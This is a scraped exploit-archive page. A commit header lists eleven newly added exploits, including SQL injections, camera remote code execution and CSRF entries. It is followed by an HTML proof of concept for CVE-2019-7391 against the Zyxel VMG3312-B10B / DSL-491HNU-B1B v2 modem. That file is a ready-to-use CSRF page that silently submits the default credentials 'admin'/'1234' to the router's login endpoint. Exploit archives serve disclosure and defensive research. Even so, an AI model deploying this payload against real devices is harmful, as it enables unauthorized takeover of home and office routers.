d667cf901c
11 changes to exploits/shellcodes Device Monitoring Studio 8.10.00.8925 - Denial of Service (PoC) River Past Audio Converter 7.7.16 - Denial of Service (PoC) ResourceSpace 8.6 - 'watched_searches.php' SQL Injection SuiteCRM 7.10.7 - 'parentTab' SQL Injection SuiteCRM 7.10.7 - 'record' SQL Injection ResourceSpace 8.6 - 'watched_searches.php' SQL Injection SuiteCRM 7.10.7 - 'parentTab' SQL Injection SuiteCRM 7.10.7 - 'record' SQL Injection BEWARD N100 H.264 VGA IP Camera M2.1.6 - RTSP Stream Disclosure BEWARD N100 H.264 VGA IP Camera M2.1.6 - Cross-Site Request Forgery (Add Admin) BEWARD N100 H.264 VGA IP Camera M2.1.6 - Remote Code Execution BEWARD N100 H.264 VGA IP Camera M2.1.6 - Arbitrary File Disclosure devolo dLAN 550 duo+ Starter Kit - Cross-Site Request Forgery devolo dLAN 550 duo+ Starter Kit - Remote Code Execution Zyxel VMG3312-B10B DSL-491HNU-B1B v2 Modem - Cross-Site Request Forgery OpenMRS Platform < 2.24.0 - Insecure Object Deserialization Linux/x86 - Random Insertion Encoder and Decoder Shellcode (Generator)
19 lines
No EOL
628 B
HTML
19 lines
No EOL
628 B
HTML
# Exploit Title: Zyxel VMG3312-B10B DSL-491HNU-B1B v2 modem CSRF Exploit
|
|
# Version: Zyxel VMG3312-B10B
|
|
# Tested on : Parrot Os
|
|
# Author: Yusuf Furkan
|
|
# Twitter: h1_yusuf
|
|
# CVE: CVE-2019-7391
|
|
# model name: DSL-491HNU-B1B v2
|
|
|
|
<html>
|
|
<!-- CSRF PoC - generated by Yusuf -->
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="http://192.168.1.1/login/login-page.cgi" method="POST">
|
|
<input type="hidden" name="AuthName" value="admin" />
|
|
<input type="hidden" name="AuthPassword" value="1234" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
</body>
|
|
</html> |